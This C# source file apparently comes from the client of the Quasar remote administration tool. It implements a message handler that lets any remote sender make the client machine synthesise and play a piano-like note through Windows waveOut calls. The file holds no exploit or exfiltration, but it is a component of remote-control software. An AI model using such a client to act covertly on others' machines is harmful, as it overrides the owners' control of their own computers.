Files
2026-08-27 11:22:16 -06:00

118 lines
4.8 KiB
C#

using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace Quasar.Client.Messages
{
public class PianoHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoPlayNote;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
var note = (DoPlayNote)message;
new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
}
// ── waveOut P/Invoke ─────────────────────────────────────────────────
[StructLayout(LayoutKind.Sequential)]
private struct WAVEFORMATEX
{
public ushort wFormatTag, nChannels;
public uint nSamplesPerSec, nAvgBytesPerSec;
public ushort nBlockAlign, wBitsPerSample, cbSize;
}
[StructLayout(LayoutKind.Sequential)]
private struct WAVEHDR
{
public IntPtr lpData;
public uint dwBufferLength, dwBytesRecorded;
public IntPtr dwUser;
public uint dwFlags, dwLoops;
public IntPtr lpNext, reserved;
}
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
private const uint WAVE_MAPPER = 0xFFFFFFFF;
private const int SAMPLE_RATE = 44100;
private static void PlayNote(int frequency, int durationMs)
{
try
{
int numSamples = SAMPLE_RATE * durationMs / 1000;
byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM
int attack = Math.Min(200, numSamples / 8);
int release = Math.Min(8000, numSamples * 2 / 3);
for (int i = 0; i < numSamples; i++)
{
double t = (double)i / SAMPLE_RATE;
// Natural piano-like amplitude envelope
double env = 1.0;
if (i < attack)
env = (double)i / attack;
else if (i > numSamples - release)
env = (double)(numSamples - i) / release;
// Fundamental + harmonics with exponential decay (makes it sound like a struck string)
double decay = Math.Exp(-3.5 * t);
double wave = env * (
0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) +
0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
);
short pcm = (short)(wave * 26000);
buf[i * 2] = (byte)(pcm & 0xFF);
buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
}
var fmt = new WAVEFORMATEX
{
wFormatTag = 1, // PCM
nChannels = 1,
nSamplesPerSec = SAMPLE_RATE,
wBitsPerSample = 16,
nBlockAlign = 2,
nAvgBytesPerSec = SAMPLE_RATE * 2
};
IntPtr hWave;
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
try
{
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
waveOutWrite(hWave, ref hdr, hdrSz);
Thread.Sleep(durationMs + 100); // wait for playback to finish
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
}
finally
{
pin.Free();
waveOutClose(hWave);
}
}
catch { }
}
}
}